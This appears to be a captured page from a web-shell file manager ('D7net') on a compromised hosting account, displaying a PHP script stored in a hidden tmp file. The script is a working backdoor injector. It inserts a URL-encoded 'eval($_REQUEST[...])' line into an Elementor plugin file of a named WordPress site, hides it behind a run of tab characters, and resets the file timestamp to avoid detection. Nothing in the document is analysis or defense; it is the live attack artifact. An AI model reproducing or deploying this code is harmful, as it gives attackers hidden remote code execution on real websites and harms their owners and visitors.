D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
realadss
/
.cagefs
/
tmp
/
Filename :
.internal
back
Copy
<?php $path = '/home/realadss/public_html/joycater.in/wp-content/plugins/elementor/core/admin/menu/interfaces/admin-menu-item-with-page.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('eval%28%24_REQUEST%5B%27CMcGsW%27%5D%29%3B'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { @touch($path, $ft); $content = file_get_contents($path); if (strstr($content, $new_code)) { die('!success!'); } } } } die('!failed!');